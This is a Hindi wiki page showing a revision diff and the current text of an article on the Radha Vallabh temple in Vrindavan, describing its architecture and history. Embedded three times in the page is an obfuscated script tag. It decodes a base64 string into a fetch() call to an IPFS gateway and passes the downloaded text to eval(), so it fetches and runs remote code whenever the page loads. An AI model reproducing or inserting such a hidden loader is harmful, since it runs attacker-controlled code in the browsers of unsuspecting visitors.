"राधावल्लभ जी का मन्दिर" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
 
(४ सदस्यों द्वारा किये गये बीच के ५ अवतरण नहीं दर्शाए गए)
पंक्ति २: पंक्ति २:
 
{{Incomplete}}
 
{{Incomplete}}
 
{{प्रसिद्घ वृन्दावन मंदिर}}
 
{{प्रसिद्घ वृन्दावन मंदिर}}
==राधावल्लभ जी का मन्दिर / [[:hi:Radha Vallabh Temple|Radha Vallabh Temple]]==
+
==राधावल्लभ जी का मन्दिर / [[:en:Radha Vallabh Temple|Radha Vallabh Temple]]==
 
[[चित्र:radha-vallabh-temple-1.jpg|राधावल्लभ जी का मन्दिर, [[वृन्दावन]]<br /> Radha Vallabh Temple, Vrindavan|thumb|250px]]
 
[[चित्र:radha-vallabh-temple-1.jpg|राधावल्लभ जी का मन्दिर, [[वृन्दावन]]<br /> Radha Vallabh Temple, Vrindavan|thumb|250px]]
 
यह बहुत ही सुन्दर है। इसके भवन का सौंदर्य और शिल्प लगभग [[गोवर्धन]] के हरदेव मन्दिर के जैसा है। यह भी पैमाने का बना है। इसकी नाभि 34 फीट चौड़ी है। ऊपर और नीचे का भाग हिन्दू शिल्प का है और मध्य का भाग मुस्लिम शिल्प का। इसके भीतर 63 फीट x 20 फीट का बड़ा कक्ष है। हरदेव के मन्दिर की भाँति यह मन्दिर भी [[औरंगज़ेब]] ने ध्वस्त कर दिया था। इसका पूरा जीर्णोध्दार उन्नीसवीं शती में कराया गया था। इसी के दक्षिण की ओर आधुनिक मन्दिर बनाया गया है। ये पाचों मन्दिर इसी श्रंखला में वास्तु-शिल्प के अद्भुत आदर्श हैं। फरगूसन आदि ने शिखरों पर आश्चर्य व्यक्त किया है। ये शिखर [[बौद्ध]] स्तूपों में मिलते हैं। 11वीं शताब्दी का ख़ुजराहो का पार्श्वनाथ मन्दिर और 16वीं शताब्दी के वृन्दावन के [[मदनमोहन]] और [[जुगलकिशोर]] मन्दिरों मे साम्य है। बनारस का विश्वेश्वर मन्दिर भी इसी शृंखला में है। वास्तव में हुआ यह है कि मूल मन्दिरों का जीर्णोध्दार जब-जब हुआ, तब-तब उनमें कुछ न कुछ परिवर्तन आता गया। इसी से लगता है कि इन मन्दिरों का स्थापत्य पुराना नहीं है। [[वृन्दावन]] के [[मदनमोहन]] मन्दिर के निकटस्थ श्रृंगार बट के मन्दिर के विषय में यही बात उचित ठहरती है। श्रृंगार बट की आय रू. 13500 थी,जो तीन भागीदारों में बॅट जाती थी। [[जमुना]] पार का जॅहागीरपुर और बेलबन मन्दिर के प्राभूत के अंश हैं।
 
यह बहुत ही सुन्दर है। इसके भवन का सौंदर्य और शिल्प लगभग [[गोवर्धन]] के हरदेव मन्दिर के जैसा है। यह भी पैमाने का बना है। इसकी नाभि 34 फीट चौड़ी है। ऊपर और नीचे का भाग हिन्दू शिल्प का है और मध्य का भाग मुस्लिम शिल्प का। इसके भीतर 63 फीट x 20 फीट का बड़ा कक्ष है। हरदेव के मन्दिर की भाँति यह मन्दिर भी [[औरंगज़ेब]] ने ध्वस्त कर दिया था। इसका पूरा जीर्णोध्दार उन्नीसवीं शती में कराया गया था। इसी के दक्षिण की ओर आधुनिक मन्दिर बनाया गया है। ये पाचों मन्दिर इसी श्रंखला में वास्तु-शिल्प के अद्भुत आदर्श हैं। फरगूसन आदि ने शिखरों पर आश्चर्य व्यक्त किया है। ये शिखर [[बौद्ध]] स्तूपों में मिलते हैं। 11वीं शताब्दी का ख़ुजराहो का पार्श्वनाथ मन्दिर और 16वीं शताब्दी के वृन्दावन के [[मदनमोहन]] और [[जुगलकिशोर]] मन्दिरों मे साम्य है। बनारस का विश्वेश्वर मन्दिर भी इसी शृंखला में है। वास्तव में हुआ यह है कि मूल मन्दिरों का जीर्णोध्दार जब-जब हुआ, तब-तब उनमें कुछ न कुछ परिवर्तन आता गया। इसी से लगता है कि इन मन्दिरों का स्थापत्य पुराना नहीं है। [[वृन्दावन]] के [[मदनमोहन]] मन्दिर के निकटस्थ श्रृंगार बट के मन्दिर के विषय में यही बात उचित ठहरती है। श्रृंगार बट की आय रू. 13500 थी,जो तीन भागीदारों में बॅट जाती थी। [[जमुना]] पार का जॅहागीरपुर और बेलबन मन्दिर के प्राभूत के अंश हैं।
<br />{{Vrindavan temple}}
+
==वीथिका==
[[category:प्राचीन मन्दिर]]
+
<gallery>
[[category:स्थापत्य कला]]
+
चित्र:Radha Vallabh Temple Map By Growse.jpg|राधावल्लभ मन्दिर का मानचित्र, एफ़.एस.ग्राउस के अनुसार<br /> Map Of Radha Vallabh Temple By F.S.Growse
[[category:दर्शनीय-स्थल]]
+
</gallery>
[[category:कोश]]
+
==सम्बंधित लिंक==
[[category:दर्शनीय-स्थल कोश]]
+
{{ब्रज के दर्शनीय स्थल}}
[[category:पुरातत्व और वास्तु]]
+
[[Category:प्राचीन मन्दिर]]
 +
[[Category:स्थापत्य कला]]
 +
[[Category:दर्शनीय-स्थल]]
 +
[[Category:कोश]]
 +
[[Category:दर्शनीय-स्थल कोश]]
 +
[[Category:पुरातत्व और वास्तु]]
 
__INDEX__
 
__INDEX__
[[hi:Radha Vallabh Temple]]
+
[[en:Radha Vallabh Temple]]

११:२१, ५ जुलाई २०१० के समय का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


Logo.jpg पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

राधावल्लभ जी का मन्दिर / Radha Vallabh Temple

राधावल्लभ जी का मन्दिर, वृन्दावन
Radha Vallabh Temple, Vrindavan

यह बहुत ही सुन्दर है। इसके भवन का सौंदर्य और शिल्प लगभग गोवर्धन के हरदेव मन्दिर के जैसा है। यह भी पैमाने का बना है। इसकी नाभि 34 फीट चौड़ी है। ऊपर और नीचे का भाग हिन्दू शिल्प का है और मध्य का भाग मुस्लिम शिल्प का। इसके भीतर 63 फीट x 20 फीट का बड़ा कक्ष है। हरदेव के मन्दिर की भाँति यह मन्दिर भी औरंगज़ेब ने ध्वस्त कर दिया था। इसका पूरा जीर्णोध्दार उन्नीसवीं शती में कराया गया था। इसी के दक्षिण की ओर आधुनिक मन्दिर बनाया गया है। ये पाचों मन्दिर इसी श्रंखला में वास्तु-शिल्प के अद्भुत आदर्श हैं। फरगूसन आदि ने शिखरों पर आश्चर्य व्यक्त किया है। ये शिखर बौद्ध स्तूपों में मिलते हैं। 11वीं शताब्दी का ख़ुजराहो का पार्श्वनाथ मन्दिर और 16वीं शताब्दी के वृन्दावन के मदनमोहन और जुगलकिशोर मन्दिरों मे साम्य है। बनारस का विश्वेश्वर मन्दिर भी इसी शृंखला में है। वास्तव में हुआ यह है कि मूल मन्दिरों का जीर्णोध्दार जब-जब हुआ, तब-तब उनमें कुछ न कुछ परिवर्तन आता गया। इसी से लगता है कि इन मन्दिरों का स्थापत्य पुराना नहीं है। वृन्दावन के मदनमोहन मन्दिर के निकटस्थ श्रृंगार बट के मन्दिर के विषय में यही बात उचित ठहरती है। श्रृंगार बट की आय रू. 13500 थी,जो तीन भागीदारों में बॅट जाती थी। जमुना पार का जॅहागीरपुर और बेलबन मन्दिर के प्राभूत के अंश हैं।

वीथिका

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>